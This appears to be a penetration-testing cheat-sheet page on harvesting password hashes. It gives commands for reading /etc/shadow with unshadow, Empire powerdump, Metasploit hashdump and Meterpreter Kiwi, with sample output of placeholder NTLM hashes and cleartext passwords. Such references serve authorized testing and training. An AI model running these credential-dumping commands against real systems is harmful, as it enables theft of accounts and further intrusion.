> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/05-passwords-ciphers/get-hashes.md).

# Get Hashes

## Hash-identifier

```
> hashid 123XYZ...
> hash-identifier
```

## unshadow (john)

```
unshadow /etc/passwd /etc/shadow combined.txt
```

## Empire on Windows

```
(Empire: powershell/credentials/powerdump) > run
[*] Tasked DHX9MABL to run TASK_CMD_JOB
[*] Agent DHX9MABL tasked with task ID 1
[*] Tasked agent agentHIGH to run module powershell/credentials/powerdump
(Empire: powershell/credentials/powerdump) > [*] Agent DHX9MABL returned results.

Administrator:500:blahblahlongstring123xyzabclongstring123abcxyz123abcxyzaa:::
mike:1202:blahblahlongstring123xyzabclongstring123abcxyz123abcxyzaa:::
```

## Metasploit - hashdump

```
smart_hashdump  ..sometimes isnt so smart
hashdump        ..try both!!!!!

meterpreter > run post/windows/gather/smart_hashdump
meterpreter > run post/windows/gather/hashdump
```

## Meterpreter Kiwi

```
meterpreter > load kiwi
meterpreter > creds_all

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain   NTLM                              SHA1
--------       ------   ----                              ----
Administrator  TARGET   abxlkaselkbjlcije89893289823sers  lkjawleijviw989w8evw98va9898wer9w8e42893
KALI$          TARGET   kleilvkejlaijlsijej3902930923409  0902349824lkajslkjvliaejlwejoifjwf092039

wdigest credentials
===================

Username       Domain   Password
--------       ------   --------
(null)         (null)   (null)
Administrator  TARGET   secretPW
KALI$          TARGET   youFOUNDmypaxxwurd

kerberos credentials
====================

Username       Domain        Password
--------       ------        --------
(null)         (null)        (null)
Administrator  TARGET        (null)
KALI$          target.local  youFOUNDmypaxxwurd
kali   $       target.LOCAL  (null)
```